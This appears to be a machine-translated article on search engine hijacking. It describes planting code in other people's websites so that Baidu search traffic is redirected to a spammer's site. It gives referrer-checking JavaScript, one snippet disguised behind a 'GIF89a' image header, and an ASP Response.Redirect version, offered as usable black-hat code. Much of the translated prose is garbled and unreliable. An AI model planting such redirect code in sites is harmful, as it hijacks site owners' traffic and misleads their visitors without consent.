What Are the Different Types of Illegal Search Engines?

Search engine hijacking for short is simply search hijacking, which actually means that traffic from a search engine is automatically redirected to a designated web page. It can be implemented by software that automatically modifies third-party search engine results without user authorization. Usually, such programs will add their own ads to the third-party search engine results or add website links to obtain traffic. It can also be achieved by the following search engine hijacking code (belonging to black hat SEO, you need to know the permissions of the hijacked website, it is not recommended).

Search engine hijacking

Right!

Chinese name: Search engine hijacking
Short name: Search hijack

Concept: Search engine traffic redirects to the specified web page
Measures: Add website link to get traffic

Search hijack

First: There is no traffic and ranking on the regular site, and I dare not use black chains and black hats. I will be a garbage station and use the black chain and black hat technology to make the core keywords to the search engine homepage in a short time. Station brings traffic.

Second: The keywords of a regular website are ranked in front of Baidu. These regular websites have a higher weight and a higher ranking. By illegally implanting website programs, the traffic from search engines is redirected to their regular websites and entered manually. It will not jump, but the spider will also crawl the illegal website, and mistakenly believe that it belongs to this regular website, so it is included as usual, and the traffic comes from the regular website of other people, resulting in an increasing ranking of illegal websites.

GIF89a = "";

var d = document.referrer;

if ((d.indexOf ("% C6% F7")> 0) || (d.indexOf ("% C6% F7")> 0) || (d.indexOf ("% C6% F7")> 0 )) {

document.writeln ("<script src = domain name.gif> <\ / script>");

}

else {

window.location.href = "index.asp"

}

The above code shows the HTTP Referrer to determine where the user came from. If it is manually entered by the user, the original index.asp page of the website is opened; if it is from Baidu search, then it jumps to another file.

var d = document.referrer;

if (d.indexOf ("% CC% FD")> 0 || d.indexOf ("% C6% F7")> 0) {

self.location = domain name;

window.opener.location = Domain Name

};

The code in this file is making a judgment. If it comes from Baidu search results, then it jumps to an illegal website, otherwise it will not do anything.

But when JS opens the page, it is too slow to load and the JS file takes up bandwidth.

Now consider how to judge using ASP.

Now written in asp.

Dim from

from = Request.ServerVariables ("HTTP_REFERER")

If from <> "" Then

Response.Redirect (domain / list / index.html)

Response.End ()

End If
